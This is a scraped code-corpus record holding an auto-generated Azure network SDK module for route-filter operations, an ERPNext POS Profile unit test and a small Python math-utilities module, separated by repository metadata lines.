self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): """Updates a route filter in a specified resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param route_filter_name: The name of the route filter. :type route_filter_name: str :param route_filter_parameters: Parameters supplied to the update route filter operation. :type route_filter_parameters: ~azure.mgmt.network.v2017_09_01.models.PatchRouteFilter :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: An instance of AzureOperationPoller that returns RouteFilter or ClientRawResponse if raw=true :rtype: ~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.network.v2017_09_01.models.RouteFilter] or ~msrest.pipeline.ClientRawResponse :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ raw_result = self._update_initial( resource_group_name=resource_group_name, route_filter_name=route_filter_name, route_filter_parameters=route_filter_parameters, custom_headers=custom_headers, raw=True, **operation_config ) if raw: return raw_result # Construct and send request def long_running_send(): return raw_result.response def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) header_parameters = {} header_parameters['x-ms-client-request-id'] = raw_result.response.request.headers['x-ms-client-request-id'] return self._client.send( request, header_parameters, stream=False, **operation_config) def get_long_running_output(response): if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def list_by_resource_group( self, resource_group_name, custom_headers=None, raw=False, **operation_config): """Gets all route filters in a resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: An iterator like instance of RouteFilter :rtype: ~azure.mgmt.network.v2017_09_01.models.RouteFilterPaged[~azure.mgmt.network.v2017_09_01.models.RouteFilter] :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def list( self, custom_headers=None, raw=False, **operation_config): """Gets all route filters in a subscription. :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: An iterator like instance of RouteFilter :rtype: ~azure.mgmt.network.v2017_09_01.models.RouteFilterPaged[~azure.mgmt.network.v2017_09_01.models.RouteFilter] :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ def internal_paging(next_link=None, raw=False): if not next_link: # Construct URL url = '/subscriptions/{subscriptionId}/providers/Microsoft.Network/routeFilters' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') else: url = next_link query_parameters = {} # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response # Deserialize response deserialized = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized
44.438261
144
0.66034
import uuid from msrest.pipeline import ClientRawResponse from msrestazure.azure_exceptions import CloudError from msrest.exceptions import DeserializationError from msrestazure.azure_operation import AzureOperationPoller from .. import models class RouteFiltersOperations(object): models = models def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.api_version = "2017-09-01" self.config = config def _delete_initial( self, resource_group_name, route_filter_name, custom_headers=None, raw=False, **operation_config): url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200, 202, 204]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def delete( self, resource_group_name, route_filter_name, custom_headers=None, raw=False, **operation_config): raw_result = self._delete_initial( resource_group_name=resource_group_name, route_filter_name=route_filter_name, custom_headers=custom_headers, raw=True, **operation_config ) if raw: return raw_result def long_running_send(): return raw_result.response def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) header_parameters = {} header_parameters['x-ms-client-request-id'] = raw_result.response.request.headers['x-ms-client-request-id'] return self._client.send( request, header_parameters, stream=False, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202, 204]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def get( self, resource_group_name, route_filter_name, expand=None, custom_headers=None, raw=False, **operation_config): url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') if expand is not None: query_parameters['$expand'] = self._serialize.query("expand", expand, 'str') header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def _create_or_update_initial( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') body_content = self._serialize.body(route_filter_parameters, 'RouteFilter') request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, stream=False, **operation_config) if response.status_code not in [200, 201]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('RouteFilter', response) if response.status_code == 201: deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def create_or_update( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): raw_result = self._create_or_update_initial( resource_group_name=resource_group_name, route_filter_name=route_filter_name, route_filter_parameters=route_filter_parameters, custom_headers=custom_headers, raw=True, **operation_config ) if raw: return raw_result def long_running_send(): return raw_result.response def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) header_parameters = {} header_parameters['x-ms-client-request-id'] = raw_result.response.request.headers['x-ms-client-request-id'] return self._client.send( request, header_parameters, stream=False, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 201]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def _update_initial( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') body_content = self._serialize.body(route_filter_parameters, 'PatchRouteFilter') request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): raw_result = self._update_initial( resource_group_name=resource_group_name, route_filter_name=route_filter_name, route_filter_parameters=route_filter_parameters, custom_headers=custom_headers, raw=True, **operation_config ) if raw: return raw_result def long_running_send(): return raw_result.response def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) header_parameters = {} header_parameters['x-ms-client-request-id'] = raw_result.response.request.headers['x-ms-client-request-id'] return self._client.send( request, header_parameters, stream=False, **operation_config) def get_long_running_output(response): if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def list_by_resource_group( self, resource_group_name, custom_headers=None, raw=False, **operation_config): def internal_paging(next_link=None, raw=False): if not next_link: url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') else: url = next_link query_parameters = {} header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response deserialized = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized def list( self, custom_headers=None, raw=False, **operation_config): def internal_paging(next_link=None, raw=False): if not next_link: url = '/subscriptions/{subscriptionId}/providers/Microsoft.Network/routeFilters' path_format_arguments = { 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') else: url = next_link query_parameters = {} header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') request = self._client.get(url, query_parameters) response = self._client.send( request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp return response deserialized = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies) if raw: header_dict = {} client_raw_response = models.RouteFilterPaged(internal_paging, self._deserialize.dependencies, header_dict) return client_raw_response return deserialized
true
true
f7f3b2c5b5cff3fb004e5da69bfaafc6d42fc9fe
2,058
py
Python
frappe-bench/apps/erpnext/erpnext/accounts/doctype/pos_profile/test_pos_profile.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/accounts/doctype/pos_profile/test_pos_profile.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/accounts/doctype/pos_profile/test_pos_profile.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors and Contributors # See license.txt from __future__ import unicode_literals import frappe import unittest from erpnext.stock.get_item_details import get_pos_profile from erpnext.accounts.doctype.sales_invoice.pos import get_items_list, get_customers_list class TestPOSProfile(unittest.TestCase): def test_pos_profile(self): make_pos_profile() pos_profile = get_pos_profile("_Test Company") or {} if pos_profile: doc = frappe.get_doc("POS Profile", pos_profile.get("name")) doc.append('item_groups', {'item_group': '_Test Item Group'}) doc.append('customer_groups', {'customer_group': '_Test Customer Group'}) doc.save() items = get_items_list(doc) customers = get_customers_list(doc) products_count = frappe.db.sql(""" select count(name) from tabItem where item_group = '_Test Item Group'""", as_list=1) customers_count = frappe.db.sql(""" select count(name) from tabCustomer where customer_group = '_Test Customer Group'""") self.assertEqual(len(items), products_count[0][0]) self.assertEqual(len(customers), customers_count[0][0]) frappe.db.sql("delete from `tabPOS Profile`") def make_pos_profile(): frappe.db.sql("delete from `tabPOS Profile`") pos_profile = frappe.get_doc({ "company": "_Test Company", "cost_center": "_Test Cost Center - _TC", "currency": "INR", "doctype": "POS Profile", "expense_account": "_Test Account Cost for Goods Sold - _TC", "income_account": "Sales - _TC", "name": "_Test POS Profile", "pos_profile_name": "_Test POS Profile", "naming_series": "_T-POS Profile-", "selling_price_list": "_Test Price List", "territory": "_Test Territory", "customer_group": frappe.db.get_value('Customer Group', {'is_group': 0}, 'name'), "warehouse": "_Test Warehouse - _TC", "write_off_account": "_Test Write Off - _TC", "write_off_cost_center": "_Test Write Off Cost Center - _TC" }) if not frappe.db.exists("POS Profile", "_Test POS Profile"): pos_profile.insert()
37.418182
124
0.723518
from __future__ import unicode_literals import frappe import unittest from erpnext.stock.get_item_details import get_pos_profile from erpnext.accounts.doctype.sales_invoice.pos import get_items_list, get_customers_list class TestPOSProfile(unittest.TestCase): def test_pos_profile(self): make_pos_profile() pos_profile = get_pos_profile("_Test Company") or {} if pos_profile: doc = frappe.get_doc("POS Profile", pos_profile.get("name")) doc.append('item_groups', {'item_group': '_Test Item Group'}) doc.append('customer_groups', {'customer_group': '_Test Customer Group'}) doc.save() items = get_items_list(doc) customers = get_customers_list(doc) products_count = frappe.db.sql(""" select count(name) from tabItem where item_group = '_Test Item Group'""", as_list=1) customers_count = frappe.db.sql(""" select count(name) from tabCustomer where customer_group = '_Test Customer Group'""") self.assertEqual(len(items), products_count[0][0]) self.assertEqual(len(customers), customers_count[0][0]) frappe.db.sql("delete from `tabPOS Profile`") def make_pos_profile(): frappe.db.sql("delete from `tabPOS Profile`") pos_profile = frappe.get_doc({ "company": "_Test Company", "cost_center": "_Test Cost Center - _TC", "currency": "INR", "doctype": "POS Profile", "expense_account": "_Test Account Cost for Goods Sold - _TC", "income_account": "Sales - _TC", "name": "_Test POS Profile", "pos_profile_name": "_Test POS Profile", "naming_series": "_T-POS Profile-", "selling_price_list": "_Test Price List", "territory": "_Test Territory", "customer_group": frappe.db.get_value('Customer Group', {'is_group': 0}, 'name'), "warehouse": "_Test Warehouse - _TC", "write_off_account": "_Test Write Off - _TC", "write_off_cost_center": "_Test Write Off Cost Center - _TC" }) if not frappe.db.exists("POS Profile", "_Test POS Profile"): pos_profile.insert()
true
true
f7f3b2c7348f3e26e504a099255639d9e37566c3
3,153
py
Python
utils/misc/misc.py
piyueh/SEM-Exercises
d25e6c1bc609022189952d97488828113cfb2206
[ "MIT" ]
null
null
null
utils/misc/misc.py
piyueh/SEM-Exercises
d25e6c1bc609022189952d97488828113cfb2206
[ "MIT" ]
null
null
null
utils/misc/misc.py
piyueh/SEM-Exercises
d25e6c1bc609022189952d97488828113cfb2206
[ "MIT" ]
null
null
null
#! /usr/bin/env python3 # -*- coding: utf-8 -*- # vim:fenc=utf-8 # # Copyright © 2016 Pi-Yueh Chuang <pychuang@gwu.edu> # # Distributed under terms of the MIT license. """Some misc functions""" import numpy import numbers import functools # TODO: replace assertion with if ... raise def factorial(n): """Naive implementation of factorial For serious use, please consider scipy.special.factorial Args: n: an integer Returns: n! """ if not isinstance(n, (int, numpy.int_)): raise ValueError( "n is not an integer: {0}, {1}".format(n, type(n))) if n == 0: return 1 else: return functools.reduce(lambda x, y: x * y, range(1, n+1)) def factorial_division(bg, end): """Naive implementation of factorial division: end! / bg! This function is to avoid integer overflow. If end and bg are big, it is dangerous to use fractional(end) / fractional(bg) due to the potential of integer overflow. For serious use, please consider scipy.special.factorial Args: bg: the beginning integer end: the endding integer Returns: end! / bg! """ if not isinstance(bg, (int, numpy.int_)): raise ValueError( "bg is not an integer: {0}, {1}".format(bg, type(bg))) if not isinstance(end, (int, numpy.int_)): raise ValueError( "end is not an integer: {0}, {1}".format(end, type(end))) if bg < 0: raise ValueError("bg can not be smaller than zero!") if end < bg: raise ValueError( "end should larger than or equal to bg: " + "bg={0}, end={1}".format(bg, end)) if end == bg: return 1 else: return functools.reduce(lambda x, y: x * y, range(bg+1, end+1)) def gamma(n): """Naive implementation of gamma function (integer input) For serious use, please consider scipy.special.gamma Args: n: the integer Returns: (n-1)! """ return factorial(n-1) def strip_trivial(z, tol=1e-8): """if any element in array z is smaller than tol, we set it to zero Args: z: the array to be cleaned tol: the tolerance Returns: """ # TODO implement different way to lower the dependence of numpy z = z.astype(numpy.complex128) z = numpy.where(numpy.abs(z.real) < tol, z.imag*1j, z) z = numpy.where(numpy.abs(z.imag) < tol, z.real, z) z = numpy.real(z) if (z.imag == 0).all() else z return z def check_array(arry, msg="Can't convert input to numpy.ndarray"): """check whether the input is a numpy array, and try to convert it Args: arry: the data to be checked msg: the message to be passed to error instance Returns: arry as a numpy.ndarray Raise: TypeError, if it fail to convert the input to a numpy array """ if isinstance(arry, (numbers.Number, numpy.number)): return numpy.array([arry]) elif isinstance(arry, list): return numpy.array(arry) elif isinstance(arry, numpy.ndarray): return arry else: raise TypeError(msg)
24.826772
77
0.607041
import numpy import numbers import functools def factorial(n): if not isinstance(n, (int, numpy.int_)): raise ValueError( "n is not an integer: {0}, {1}".format(n, type(n))) if n == 0: return 1 else: return functools.reduce(lambda x, y: x * y, range(1, n+1)) def factorial_division(bg, end): if not isinstance(bg, (int, numpy.int_)): raise ValueError( "bg is not an integer: {0}, {1}".format(bg, type(bg))) if not isinstance(end, (int, numpy.int_)): raise ValueError( "end is not an integer: {0}, {1}".format(end, type(end))) if bg < 0: raise ValueError("bg can not be smaller than zero!") if end < bg: raise ValueError( "end should larger than or equal to bg: " + "bg={0}, end={1}".format(bg, end)) if end == bg: return 1 else: return functools.reduce(lambda x, y: x * y, range(bg+1, end+1)) def gamma(n): return factorial(n-1) def strip_trivial(z, tol=1e-8): z = z.astype(numpy.complex128) z = numpy.where(numpy.abs(z.real) < tol, z.imag*1j, z) z = numpy.where(numpy.abs(z.imag) < tol, z.real, z) z = numpy.real(z) if (z.imag == 0).all() else z return z def check_array(arry, msg="Can't convert input to numpy.ndarray"): if isinstance(arry, (numbers.Number, numpy.number)): return numpy.array([arry]) elif isinstance(arry, list): return numpy.array(arry) elif isinstance(arry, numpy.ndarray): return arry else: raise TypeError(msg)
true
true
f7f3b3283f53253ab42c98841c5073db5fdeba6f
1,027
py
Python
src/lib/WhileStmtNode.py
Amtoniusz/latte
52498a8b37fd9b0d9fa6e559855f38bc4e0cad9e
[ "MIT" ]
null
null
null
src/lib/WhileStmtNode.py
Amtoniusz/latte
52498a8b37fd9b0d9fa6e559855f38bc4e0cad9e
[ "MIT" ]
null
null
null
src/lib/WhileStmtNode.py
Amtoniusz/latte
52498a8b37fd9b0d9fa6e559855f38bc4e0cad9e
[ "MIT" ]
null
null
null
from lib.compileException import compileException class WhileStmtNode(): def __init__(self, stmt_type=None, expr=None, block=None, line=None ): self.stmt_type = stmt_type self.expr = expr self.block = block self.line = line self.return_type = None def checkType(self, s): expr_type = self.expr.checkType(s) if expr_type not in ["int", "boolean"]: raise compileException(f"Condition must bo of type int/boolean cant be {expr_type} :C",self.line) self.block.checkType(s) def text(self): print(f"While stmt: ") self.expr.text() print(f" ") print(f"[{self.block.text()}]") def checkReturn(self,s,fun): # print(f"WHILE ->\n\n") self.return_type = self.block.checkReturn(s,fun) if self.return_type is not None: return self.return_type if self.expr.const == True: self.return_type = "inf" return self.return_type
29.342857
109
0.587147
from lib.compileException import compileException class WhileStmtNode(): def __init__(self, stmt_type=None, expr=None, block=None, line=None ): self.stmt_type = stmt_type self.expr = expr self.block = block self.line = line self.return_type = None def checkType(self, s): expr_type = self.expr.checkType(s) if expr_type not in ["int", "boolean"]: raise compileException(f"Condition must bo of type int/boolean cant be {expr_type} :C",self.line) self.block.checkType(s) def text(self): print(f"While stmt: ") self.expr.text() print(f" ") print(f"[{self.block.text()}]") def checkReturn(self,s,fun): self.return_type = self.block.checkReturn(s,fun) if self.return_type is not None: return self.return_type if self.expr.const == True: self.return_type = "inf" return self.return_type
true
true
f7f3b34bfc03085fe4bb99d58ac8686725b5129a
419
py
Python
app/documents/migrations/0006_usersubscription_start_date.py
roxtrom13/real-back
b56537665f0d3d65e857e6c30c8710dbbbef9c9b
[ "MIT" ]
null
null
null
app/documents/migrations/0006_usersubscription_start_date.py
roxtrom13/real-back
b56537665f0d3d65e857e6c30c8710dbbbef9c9b
[ "MIT" ]
null
null
null
app/documents/migrations/0006_usersubscription_start_date.py
roxtrom13/real-back
b56537665f0d3d65e857e6c30c8710dbbbef9c9b
[ "MIT" ]
null
null
null
# Generated by Django 3.1.2 on 2020-10-20 23:47 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('documents', '0005_auto_20201020_2338'), ] operations = [ migrations.AddField( model_name='usersubscription', name='start_date', field=models.DateTimeField(auto_now_add=True, null=True), ), ]
22.052632
69
0.622912
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('documents', '0005_auto_20201020_2338'), ] operations = [ migrations.AddField( model_name='usersubscription', name='start_date', field=models.DateTimeField(auto_now_add=True, null=True), ), ]
true
true
f7f3b42d88bbdacfb205a7905b11a32efe32a343
1,565
py
Python
XGB.py
ztultrebor/Kaggle-Santander_Challenge
af5132f986089553a2192183f53ed3b0ec2bcf1b
[ "MIT" ]
1
2019-05-17T19:20:01.000Z
2019-05-17T19:20:01.000Z
XGB.py
ztultrebor/Kaggle-Santander-Challenge
af5132f986089553a2192183f53ed3b0ec2bcf1b
[ "MIT" ]
null
null
null
XGB.py
ztultrebor/Kaggle-Santander-Challenge
af5132f986089553a2192183f53ed3b0ec2bcf1b
[ "MIT" ]
null
null
null
#!/usr/bin/env python2.7 # -*- coding: utf-8 -*- from GridSearch import GridSearch import numpy as np import pandas as pd import scipy from xgboost import XGBClassifier from sklearn.cross_validation import train_test_split from sklearn.metrics import roc_auc_score #===================================prep data================================== np.random.seed(42) target_col = 'TARGET' id_col = 'ID' X_train = pd.read_csv('./Level1Data/Xtrain.csv') X_train['GBpred'] = pd.read_csv('./Level1Data/GBPredtrain.csv') X_train['ADApred'] = pd.read_csv('./Level1Data/ADAPredtrain.csv') y_train = pd.read_csv('./Level1Data/ytrain.csv')[target_col] #==========================Gradient Boost Classifier=========================== params = { 'n_estimators' : scipy.stats.geom(1/150.), 'max_depth' : scipy.stats.randint(2,7), 'learning_rate' : scipy.stats.expon(0, 0.01), 'min_samples_leaf' : scipy.stats.geom(1/10.), 'subsample' : scipy.stats.beta(2,1), 'colsample_bytree' : scipy.stats.beta(2,1) } clf = XGBClassifier() GridSearch( classifier = clf, paramdict = params, iters = 729, X = X_train, y = y_train, X_reserve = None, y_reserve = None )
32.604167
79
0.480511
from GridSearch import GridSearch import numpy as np import pandas as pd import scipy from xgboost import XGBClassifier from sklearn.cross_validation import train_test_split from sklearn.metrics import roc_auc_score np.random.seed(42) target_col = 'TARGET' id_col = 'ID' X_train = pd.read_csv('./Level1Data/Xtrain.csv') X_train['GBpred'] = pd.read_csv('./Level1Data/GBPredtrain.csv') X_train['ADApred'] = pd.read_csv('./Level1Data/ADAPredtrain.csv') y_train = pd.read_csv('./Level1Data/ytrain.csv')[target_col] params = { 'n_estimators' : scipy.stats.geom(1/150.), 'max_depth' : scipy.stats.randint(2,7), 'learning_rate' : scipy.stats.expon(0, 0.01), 'min_samples_leaf' : scipy.stats.geom(1/10.), 'subsample' : scipy.stats.beta(2,1), 'colsample_bytree' : scipy.stats.beta(2,1) } clf = XGBClassifier() GridSearch( classifier = clf, paramdict = params, iters = 729, X = X_train, y = y_train, X_reserve = None, y_reserve = None )
true
true
f7f3b45ce56830886dae0e11aed76fedd45e5292
21,719
py
Python
grr/client/grr_response_client/client_actions/file_finder_utils/globbing_test.py
Onager/grr
646196bbfb332e4cb546b6d0fe1c09b57c675f7d
[ "Apache-2.0" ]
null
null
null
grr/client/grr_response_client/client_actions/file_finder_utils/globbing_test.py
Onager/grr
646196bbfb332e4cb546b6d0fe1c09b57c675f7d
[ "Apache-2.0" ]
1
2018-05-08T21:15:51.000Z
2018-05-08T21:15:51.000Z
grr/client/grr_response_client/client_actions/file_finder_utils/globbing_test.py
Onager/grr
646196bbfb332e4cb546b6d0fe1c09b57c675f7d
[ "Apache-2.0" ]
null
null
null
